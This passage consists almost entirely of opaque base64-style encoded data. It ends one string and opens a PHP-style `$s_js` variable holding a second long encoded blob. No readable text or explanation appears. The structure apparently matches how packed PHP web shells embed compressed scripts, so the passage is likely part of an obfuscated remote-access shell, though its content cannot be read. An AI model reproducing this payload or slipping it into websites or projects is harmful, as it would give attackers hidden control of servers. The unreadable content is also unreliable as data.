mpq/TWbO25dzn2BUbBPG7uBcrBWmrcqq2eKcykeK1EZoq503x/sCXqTqRyVUVBRtqVQzD7PSKjcZv/fD90f4ovnnfX+nI6KMhCQaTejfLKd7P8WtRZ8itZulUasLNpLTjeQMjMaKaz2/bnPymL8djNMBy2R1MpE84jA4hDew4sOBsY8KmmMt1tTeq5cyxr9mZ3pzL4ztnVLcMHNAhLNQgPaSyFGlfQm/nmCCSmUKVc6PuOGmIyFlb4m067SRgsdaryx18/22Qdc+sfoKt4X/AngMGKDg+kKWg0sJVPHUfaSv7hInlyCis69oIBvjQw0EdzZ4D8yek2zBGjDDpJnHatTLui78lO7cdzaRqEWjzoMBY9q43VWVW5l/k51QtHg4si/xljUuT8yquM9R0KtUPZPSaV+C7VXEW84by5bwtX/SJ1eSG80A8fDB4ggw3awpm9vRPqi7p/Hb3U/jVbk6nxozBo8KQRHxyWUMoQqd7LPpOvFCT03I6WKA/XvTF2RMATBPXUxgRs354zAEcleKZnRq136SzRlv8wRYBCQlyt3CCD4WXXe0/gcv3zVyLIHJ3Kc2E9kqSq4S2Ynaritgrq5Ks5G/nGzEXpwpwB11SKvzF6DIprBflyz6j7Vh8VIudk8f3vhz1DdRoAE9Ojkj7VC+t8gdKMlqNCnEEZunPFM/RdS2PlgU9xAtAzfuj+t4DfUW/Lw5m248T1cQRhhnqVGO/6n9kdJuwmHfiudHsRKDIBl5lI6zfEuaookPVjt5eyqVtk4R7uwdubQlyIfBTPwDZ2x6aH3HZqiHqKSUIXw8LlnZ/1k9bfpsq8dHi4j/lTx8I9bxrt5e+1hxkPcgn8RcMQqU0bQKM7Kh9zNQnGcTAYqvHXAppzLJU3gl7F7jg4a8qtdgVhlIeuwTU5p026AavDaosvbEg3lNbCvHr8C+d6JCxfirN/mqsOBOwemm0ee3Lt/Qm75S4kTpUheMy7xjKYv371b1A5orJshn3EkWTDRBpf41NeKXArUJzMO0F8TeAydUTSk47BWmLOvtTTANs0r1v+eXm5r68PbTAsEXwoPKxM4iQmEcqMhnVDj+Id7UUGsFRg1Ix/b4GTflP2MDexk+OLhzfMIoHZ4yMsoEyKrroSfmP7AzaYuPVnWF6n0RGj8oEQCD3P28YpWDDj25n28jUyrEFGCf0a8CULcytoHX2Li4xLJUr+iH52gqbsxGESvWELqaz1wiMkBrz7MSdcjDELvsM35usHRnTSXrZxz8eAJT91lYfHHO3x71cMPcb4qfbYSFV9TYWUwOBpnosz4dUnWfZrhHUIU7cRlgZyRnZ84IQxoIubfL9c9jjY10QUsg8PpWSk9k2eD/P9iliMzVuvhl0PGI7/i385pCpzqRL5zhMx/ETb6zvtwUH5kFKmo72BtZ13ZvJ5iiR/5llF7ud1C3llxwr8tSVXjMcsJAzTpqt8vokA/j1z+tTB6ceOuQ6TQtrfZQO8RZjCOXrBTZsMUIhI/rJjNq5Tx1g+eHVRJfHnY7zYW6GXzvjAFkkPkcdrZ7378qSASxUssGJkxFYkXf0pJ5nC7V8BBjXewca4Lz+6QO/0XSUILh2SfX0O2vpcbIqgpTjfbRLKsSYD84I4rcrvHpIOkyaJdCKa25rH8TydYpeLJaJoDj/cftwsDjgFfbx82nKbHcsNhTIMuTfLNLfUUqXESwnwSrYXaiqVIXuLBvB7txmdiJN0ECSF52++gJGg8rdZEP0wtxznPoAyBJdFVidCNPGTFEu5ULAPFYP8ULPN9VESeOFoqfWgfnx2k+HQwY0Zl2b7p+xZuaC/lctBiXfA7A090kWf1M5IshOUmRbbKh3hYrZAw/LpuMefUodc8zpDXYQzP2PuiNIvaEKgOJFgvalQwAl7IsAfgMJy2Z4xxzo/4fR5XqIpYw8XIF0aB0Qn1JddXaIzZ7cDFuuU3Mu7sSGHDqQAnUul4sbgeeBUirVzf6oiqRn05IUCNWJCBs4KqNCw28m9m/nGcW8htIMFMlmYIu6XHMccpotXpoxxubfFgUNlQUxq+i85rNcnWGf7CJzPJQvkzsQgO7x7B8yuPuxDAKjJCL7AtUyVXKk9LQuHNFUvf3ZAZyDSVp1Z/4p+y9SH/4UQClLplpXhS2vISmDeKrqf0LAEUWH9Hrtx32kCrfSLi3XB43nMgXTXA1IZOIxRJ52D7iK1z1IkxH79pg1Oh9yP3tHNyNS3wpxwnrPEPYAmQydG8xWntbC59j2slHQ+VYAbodZWKAtDwAcSMkBCUSCa6GQHs6Sgv+5q0pk4A/2CxIXc7sO9Q96roFNJQ1g+FuVKmYfwORWprxrMtQ2D3A5823zgzV6Ek36QSI9WQM48vEnE9RQQARbiC5WEdQQhDEYvON+v87QyyqfAMXm5LczZ3S3I3tfFYxfV/St3se32WXGtCSuaiNs9MChsjWxhxkfv60BghaOA8DCBfK21x5TdBC36USivageX532jXxvKsF1idoX2FU4OMeMjSIBhtHeIQelnHpEQJasFGNeN8DgaYcG8P/GZtA54vB543Ns8J1nLMmFjd98racU0Wq/jB2xsIQQIgH1FfRq8aMSYytV2dqA0tMha990D9GI0VpjCJxLpHCvfvwf5GVB0LBq5Bnv9SfNJg60XvwcHX23AIMuWeC5lDcJnj1gjYh3jGzQ+Jw2GcrcsCxkaW/3k7zcQ+rhoaGCO5EYVqYCxtlJdSOu3R3Wuchl9yPlOCw79pOMeP7GE65QiiGhtot4GygRFLKC1/fk8avOAFU9ofhFjJbxdy8Iwc78HQ3obBEaIQmsH06ATjrl2CuT5R3nY1aqha4VKp41diEo/ObRk4+AaLFCMX3XJk6CmFDTaeZCItEdRPCpYFuPkywPs1MODv48QF4a/IP1irfwsmyd0oBgh+MGXRrgx5vCf9lsJSzsWm1Sc/Ib545Z1p6TM2NcmVw2n9fs1i4RDU+N3xS9vhIKk2HF9yrOxFM78sZEree55ldPWPRQxaJblNeReAX69XIuqN0vMdkCCIypH+gn35GWpr4AqS1Ro8eY9d5wMqlPBNSSlvmr8TN/IVhp5ilqDdQLN1IBw6U27sBgntl+7utiUP+YY/FhZ+IjV8fezcQcVBBpn34gNKMIfy5IhmlFIWNKL535fFm0N4w7L32+vI6yAvQDeFihdCjCkvwRdjJ8BQlXxvMQCy+ibbGMnYoX89E9La7Dq9jFn9oz6wVbNBTPvMZQG5CtZSj7NZ7BUETXfJy8R84Eq/NbLBM0HdTjs+fkFvu5EiOticR0fpaH0edm9vIBERxpyBqRXZA6vSG3hEgsEDZGjPVriQGQGxd2RJ2VQrsgfz7Vi4G5WdUl4P4hfAxOewbiedYezEbht3QLxZ9DFXQpDBUNg5eKmvsob0KfNBqMBtHEZq2KYQkM/r8gQzuuRnn2TK7Df0owZHZrX0vY4aodlRfgAeuX12oPqkXxjWguAGRhS/76OLypn01b1IZQ1SWvjOCs3yDnOjxA/DLUY3BLtgw6I2zlOtFA+3EAmmghjVmqzb3ZCHt9umpnil54UdIjWCGSNByWtc6zZV5jUXjSbEiTx0NQZJQ33P3gsZScWddssqbTb9oWiP5+XUgAOCn9Uxf2YtMj0DaEKHiEL/UtBEpn0Z+izYzPXawam4Td73RVBgZHGcxjWA4neahhyHVaiB54gkaaYNnX682EqFN8xKVqsz7At6oMcizeeyIIx/IduzZhVnBqm6YQ1G36lW2IRjDhuuX0xiAGUbOU8fB5BEigtQMD4DcgMrccEHoty5scXoMgjhorNVK92zN8sJNgU/xrP6r1QnNJguRHvilzuLzlldy9lT+/9yfWgliGZk9Pu7lKNamOIrwADj2O6TzmK5DaWGvl4O1HxV+NyOfUxUrrDW+3y11WxL97/jPepI/emyqYShQs5nF5FKrAHgU/I/SC/xQN/I83wu5XyUxE0fUWumbQ52Ya7/UwtFMgxUoWyTUsm4v9+q27j3mSa8Ldvg4hM58+9VJsmYXlzb9WVunGn5xaXdBtO+nvPNFRJeRC+78874cOyoeL54jwpzs73bnlMUVh1AByJPhnEkaaH3qVps+bFP+WGIozzKE71V6LLOK8Fsj14QxQiu5ganRKRVppxKvO5289yDYltf3Kpq9wZCJzl4LeHkphIXtJoDNipPLGXiHdvKCY+4/IBlSy7bwXpOOZD5oiHPSrf+9dWtyq332dbmU04JoSMh7/f+RF5ZsH1iPASKnliA5pu/nOibcfGolI1v8nRCgL54V5dGmLcCJJMWQ3jIZMIGG7AY52dg7sxIc9chQotdLHsxABqXKTb4TXbW5LSmvJ2H+ydm17uhBLcPFsy7htIXvdrdYiuhmgqDodKm/knJLEfijqeRaMelIqVPGrM5xbkmnAptI9axqbxUa5QIGyXePl5IHFXNJLnAPKygJD1L9ekR6tSIXmDv6IdUNpAPbAzQI9W85RYVRTdy8jUlvlcY7BFUHRyLRXow6VAp3gck16K5xyLTPH8Tr153VEIYSTMrb11GMeHjk4umxchc6ngN3Q0bfFyEM7QKIOl6cIMXkuSaygd7vOBMJdB+KbORRTgPfJrzyLxfVP0nvKh0gjXmuZ4ZZqAm6xYF8ZYRQl6rfXeRHyGqWj4WC8mYTZ9CFhdUtWq3BYYghTtP5/x0SlYfLoSED9A91rVtz+Jds5ismDv5Bt81XOVA9wWi9OOhcCPGhnQmjAeugoJxADZcbI2X/pIjrLjusiNQaeJgxwKhhwEJcmUQflKY6bw8WdbvpP2W1Rzxp+j8VBOBu0QRwqJp6RDBD8PH1p/fuR9FxfNlRcJfVEpfdMdhFOGF+i/OkZqpRvK5ZIQu8pPh5sQoV5YZewZgv2p6PwdKGUrQZaPhMuFUQ7p23RE4BXGnNW5MuJrbbrdec107vqqGStL3xrOJ7eG9JYKFr8GHF0i3OJ4pzXkCyj0JX91DdagTVuab9sah7pH9wk4iB9+6FUUoi9K+scOz/IWkAIwdY06Ue0Pq+YZCghDhvZP2y8fzrBlGbNbt+VZkxeW5Y5QuhOj7s9HQjQv0jMBSgusykMhJrPd12EG1vtMlSddEx9XWXE09cF4pVsBffbNaYomVWSbFfcCNa0yzhhI9wGHcQvUDXTOs4laPiZD62E3lsWqY5w0zUBNvsq70hJMBCDwheto9DUjsO++fA5ZTHMWFvFqyloz/4oTczFjEoVEkCpvYiA0m8/rPZcfeI1Rv5k+YNq1kADQ/t5AldPTK+uFUbClQDiByAfw2nvMfBvXFQhVpHchabO+T49qFgx1KhrhHVzXL/goFZub4bbGTUEHz/M6qro9etPnRgDi6K5pdTre5S1fXjonDOx2tOVh9CowLwfMz4pcC3N9t1gCyQjayqddoW2j6rRrMUllhN4hX4EOqpL2mh9ua4pyO2wwprxOAEH+W+DWU4VNKf10RUkh18K/RAWdrKWc+FcmEX51g3LTNOWhFZ75du5LwwhZ+g4h0dAO+uVMIZT01bSyARxX2bvQwBGl6qsuqpN4UE/3Y6KQNIW7UgCtSjfSDrWl8mtchRTY5WaetIe/uyGAQyjyXbblIQ1G/bVrR3H/7DjSfvSYeZ00oBDs47eNSXNzCHXQB6oHqNYJxeivBOhUBtz5Ri7dfsKWG9aEVwLic0rYNKmLl9R/PiDBGa/W56tkL+5G3DRHU+aZbL3ssRDv+g3RRwtduUZAB9LnnpsL/Gu+UHnH9F0FqIYyK2iUhA6w8hmjcpkvota3O/MJB6f9qCt/AwdVa0TySUtozY5Oi3FoTP5fzV1pb6tolv5eUv2HqGpGXTW+ibHBLLkz040xGGxjwAs2tFotdjCr2SGa/z4vXnKdm9wkVVJLnS8X3u3szzmHXOUVc2cADzEVMbcGovmjNFpIUneFdAYS4MZwsC196GuSJW+nwdSGhqWUQmsoNuHFRikoxQupfRxGeBVH7EQYcPx42fZdlqvHtVttA8STjizISv4oQeaBNiPCRDWKAxH6DarMDs3cyLciFKztIbQhVwhn7ofDqecxBiRMYaLmYyHkEl4T2sWYnk9zZZcrJltQDW1Ym0kxRfoLxlRHNowcer0MNpabrbEboShsU85GJywEjqDaDwm67yFiUCwOyqBnlCHLQmKMIwqGOVkMZ7pF9NDVYceKSWvopb/proOGy7Ra4SxSiSK2WARZ69lzEdewShgaAW+TuXwMEXHjZZqkQIpTpPsNSLcLJLDk3W5JAYHGC0YPokhXp95MOUr8znR3pDQd5LGyWvUVfDM3drEn1M1a65MBl9AjbT4TQ6gVWaZhawo0ZROKUnh6xbmUqXMYt7HQWVzq02l1XEyE3TqVV+pxebQniyNWlzy13zegtY97DAEagMHOXuUHFMuZsG/6mL3C0ESLBu1WS4wUwg2WbrfpwPDVhHCWY9jgVOVgQgQFDefshMW3QzQcZEnpKiOhyMhCY8c6CQdzqQeV6UzFuv+/IAwODRk6k2yOaFKdS9UCQtElYx8JWY0kG6DtPgyM6ACOENViwrUxvm77nr6dFR0DVextzDSlqkQLj+phrplin/BJEx+VvNeTe2lCbpCqN0H381GI+CWpHEWIzzV9KbbsscAGTbQc2AU+03A+wDIjqrKF48Kiow+QfLGvvt1HTXJcq1ZtlO59ox32QTE6tchmQxoCyqM+RPd3+IyqRJ32qL2D0LMZGZMhqizXz/dZj3U8NbjVhCNJKZuQDT+ZR86YZBiDxGbdfdWbbFtOpPFm2v1OcdULtRhYblwZq2o1o0mPMx1Xmq1W9dwtOGfhyRxt2A4ypnyVZSpmzBgsyI6MiPNLUCBXRqDWAkBQQ0Y0YcIS/Vlj9vqmObK1YljNoiSwLdp0JhG9mNAkyRWrIp4TPsUsfNknNywoKUED5/s5IUpkKxQ0Iky8CoXzJdobNYee46whYYIEk9jt5chE6aliaOL0VHZYhljzGEf28ElQBBs2tLBjSduuA+8jX8jHh+1iHrnCZuun+8U6r4OI2UChXe4saa+QXJktdpotoy7cwp4OO4Qq920104caL8mEjok2vFRlDIILH0aPq0GP09AJa/sLlDVDHLd6wgiLyaBwCaQmtD1rezyrcPPCdvjjYsju26JEN6Vdg0aqZQJkNpb7rAn6bnnSTvyaqKOVgcH9RV+mVVHV1PlxsFyxJVM6O0uZDWMAcEVPEUcBLvVdAB65Pyl6q6UGUrbNCwS+PKKLMuNQBw8n3h4fF+xxX6nn+6OX1LhqAKgqVRtyjZIe6D3PE56YLXDH2LGJ0g8oPjvILrObECqRin2Fyj0rM4uq7C05JDiQR0MZHWx+F9TH/UQ2DLmK9lwPaSJvbS0BtJTMEln0qRpf7evUmmH1vE9H+MbmDNJFqG216VEThds41JqO4vXc1Y0Fu5rW9NFfD71FtQlWiwGNQlK01oCW1saOmyjTlOkjB9brNRI140Yz3D+EaxmVkISf+3l8ILa2toGPywnX4z28mu4k0KMSQW6kpW9n/r7RCIlm6Go78w44LbouOteRgxIw2nbUuO3cyo6izKy27TFCj5YWbwLWTBjNW/pR7upH1YrxqYto01Wyn/IKVIaBBprwZL9cELG8O7Tapr+iTHEA9UXJbFmOT2o/54cK8J81LkEgx/GZX1mhdlRGSV7yB77ehVahEiOvn5VUU0x3qpIHYb3byoq+p8JsirblUTqomyUTZNiwBRFlK2vCNQzBbSbsGB/1Nm5uDNRaLGgPURdultlyE+0WIbLXmYUhYhFWTNq2ESfqaBr5Q4vBGqicaYgGu7BlH0Z7kVzifTgAzdi+qoRQkPcIqHeWOFGGBK7bzb5PiYRJytyYkWiddHbklsIrijyIY9anVUnKKT1myKmkB0e+u9+XJAUQuBLJnC/8JSmSBIHtkLvuAnMAZPRpFOBRpM6xNUBshtP7sLFabDluRa0Ub4t4ZogMphCzpqR1a6zKyVr3sKlCoc10xY6r0K6odU2QCQFgKZ3PMHYYEWHrZQxNbfkQHrVthJcCS5KjkqKZ2QgaGzxhtyTWiPw+4+KcRVarIU6tjdqLey5lVShVzTbDBTOXAhExkBGjYtOs5IuIoqNsw8eFVFJZb0Ugm8iH5dJlFwD5MxzHpD7V9tZ+VNsI5uVDyOAD3aVcd60LsTatJi7RIVnpUYi83yfpaKLmY2KzRVSan8LFpH/AYMEb7EeTeMSFZaj1J32KkdMBUclEWPX6awFVI5lRyy074BiZgMegSxV2y7Tg3PCwdejUHbKgu6+Hhy3fFqCuiA8Gi/RB6GS77CBUbZ7adS+C1Lw8oA2+hncQphb2rKcxy1jH5EMwtofzqYH1rNlwLu7KRBTIRAUpRCSSNPHH7TyLY4OB9ZHJ9lhTWFEcMbDaSq7jWO2jsnicR80kmc08zwDA2ksgpmhxzM+hQTudBf3urtW9PSVwMs6FIKhIa5nkEC1nDEtv6z5barCFYaZuzi2k4YkiQRZ5PoZNmEplZpd7TcHpHu04s2XlDklllnI8OaamozHpVgjSo8n9lNV6e/EwW/fsUuy7xAADSDhe20QNjaL+oNmhgGffp12ziEtS2ki1pcT+IXKk9Xo9VxlmBuAE4kF0emFdN81asGV3I4UHDUpW3d/YGrNCHupFTsl6tI7GLZy4iiY4CkFtuDhO4tXaygW2LNcHseIVb4aTqrraOMbWGR8EOpbqg0DxSrN2pzyi1Ycpj9OjAzejlNbVAl5p4zbk/UwN+GQRY+uaUots1hP1qQIL7YE0FHQW9oa42ojYjI5xbDaL82iuT+rFRNpilTfq4yPHiyyeJDYHgS2sxvV8UAWPeqwo8PUGdo/9Ab9cwJFAdb+Yq/pDPFb35VwTFjBgp88DrOoxizllSe26CukdrVEbnk605sDjmdps0x2/1eRIkCu0PiysUq0Yq2cgwzYSeFSH/QiUzrLAhfsxHW5ndLhj6FBe0uF+wke+OLaQdrwvjBmzgKfbxawB+EQ0a50P3KS3mkfFCqtKebwxxTm73wX7gXAUdmRsb5PNzjxmimTEprZzCcpfAMht1kyYLRi21/R5DPWS/QCDBpWZgFLyeMxSVrA2XLYilo2srCaT9XCiqduBVu0MYdgsywpNQ1k64Y9oVASdMSRL7iudUYa+0VtS67jl9ytd0yVtrYrT44Jr25CZJgOmoRwbWfW260NBZuK8zeGivwxhM0proc6IpZRNfaz2UPSIyMekWQ0kfLtDNCeaLdeFqXh7Zj8dzAJmt+yPoMHKsLg5MhVB1TUVPXto8A4pNq60wrnMxRXXUoaSm89leIfDMV9POSij27G101QnSyd8xa6KucFkahJOjLAakaIYRCNQOUm6N/aPWYe126M62Dkk+fudHaehlv/2lyq27b/8/vXnn+7Ajx1H+X1leY6bP95F3YrgdibLm8C6mfi/n396fLwP4/Y+swLLyL04ejLiIE4f//uviZvcWYYb3/1H9s/T2N+hf3y9++v/ftU1w3fSuIjMN1cNzqtOR/8rTv2vp5MothZ6QfNY6EWUF/8MYyCT5RSBln4F8uu+l9/rcX2fea0XOY96nJpW2o18PUn79tSPRrvHR6ijrcdm8/QBpxd5zvr2WutxMEzqrz+Wf3Cz/mI5BDpRc9OnZz7yPA4fB0l9Z2qZa5l3b500fNaR9o6+4fMq0Mbn96ZlxKnWGegxiiPrtPXRjUsrfeeAb6ZIUusp0Uyz0xh0hwMxwWDnl0+mlyWB1jx6UeCdzwWNUWDd5e6X5Mko0gycbVqgXQjybtKLkiJ/tGOjyL6cfeby0nGppZZ2eQVwnQNeTy9PcZF3h3fufCbxa6h50UfmQc7cX9zgpN1UM70iexxAydXaL4Yqz8xd8Aj959ersMCiV3F/dS0N7Hg66VMLPCd6DCw7/xpqKYBv4DbPCrpZfZebT+8vcAdP3zxo2LFxdes81aKsU/JjGudabv12P4AfYMy0nN/PUr2/IHt/Pn53+r25j+S507481Elwdq+79zz0m4P9GlpR8UmLXunfdcZBLsZJrQy42NMfsPYl3LtQy+LAezvSLjHUud+9e47ZAdpt/hSnP5Z89J0o56C6KhT55nUPnVq9yI6vCNH53OeYvhyO3hzcaawjdpLhenquB9ldnj5d5Bt2KgWWyz1DCy6OHnqmGZxC78HRGmDf94EDfo102BnpThv/3R08sPIcaDpLNOOitBPrnYuG3kdOin5k+vdg+Q3K36WXf3fdvRGAyKv460Zeocit059VfUlQHygcu+D8jxTzkV4+UMv7WnlHKd+mOolOia/98pCkcZjkXx7yc7r7JOQ9lyavy4QfwwD25+qTG6w4cX7m+OmtYL4KcZM4LyACY9Bl+1lwkM+fvmPkA8nxT8bRp2B8+B3cXrLGw4mtINbycyr/gCX4I5ag12Q6uP36XYK/qKvD4Bc55UWMjIAyb0oNw4oAMtyk3Bcp6WTYF8VWJ50FsjAolp/eqGtOnH29WQTy9I8KxecloJb5I/43fJ07T7nlZSH5XabJ4+QlTfeV531gpeFLN0ZvYOX50PRz0II/1ycPmRWCBqTxngvek3beLoUeunx9d6qDb3X/0r7oHyxBLqTOhruSw5+DrCPofgHa+pxIb0Xz+ZA/ZePn7e7w6bXT3gT+6NOB/10qfB0gNyOfYvUNPb4ougbQrTLfLVuhb1KXnlXZ3puG/iMKvCkEr9h0PflPmuRzWn4rLm/K6mcmDGBCYMznJnAwuM3WDWif/1Wl94/thXzPQud9f0RTxCdTzOsov3tugh+iOPfsj6Lus5njtYd/H6gXXuAXMHDRxN3wlqd3XfjGg+04zl+2tWlH7TZqO5u9UZr++PjvMPh1w/HlbDHwdBs41w8Ef8+bxPofw7UMHyz6x4ORZffXt7veXaDpVnAaPD1dnfLcGp0y7DUvdnDz8gvFvR7Ehv8ye74EpfvUSixQEUTx5el2Lokz75Qcu7T+dpN0ycNJ7J3A7zMyPZ4eLPMN2d6mfX/i+QpWXy7YO7g+pF8+JPkyj3UnvUnTCzXHeizS4LfvzHw5pjPzpcAFEHH91HFqM198T3swU6+07s9O9KkvAg+mlRnvrbxZagBO/nn+nGSZt+y/s3343XYtCN5IXacRLzLB2+MVEzMgfKh1OvwUJfit0L5Gqq7/IcTCvjGt59edoGT6/DbDekPKbiKwXn3ZOg1nw6cf9cPJDz5tPVQodAlr9JpUqxGBXMbA0/Mghl8HsetntkgrPedUgT49e7zt1Zb59RTf9yco6WRG0BNi/JrH4O0L+Oeswlssfu24WprG1dlrz4Th4Te8OD3HnZh58wg9wM9wOxhe6+UztXP5+I3mpZz8thW/Lr7w9Lo7zQBwWAponV/1pbcz8dvjbw6CPA3M9MgEXiKfetnLwC+nkV86hs66+FvRQaH/2y8PeZiAsH8Ag7/83inl55/+Hw==";
$s_js = "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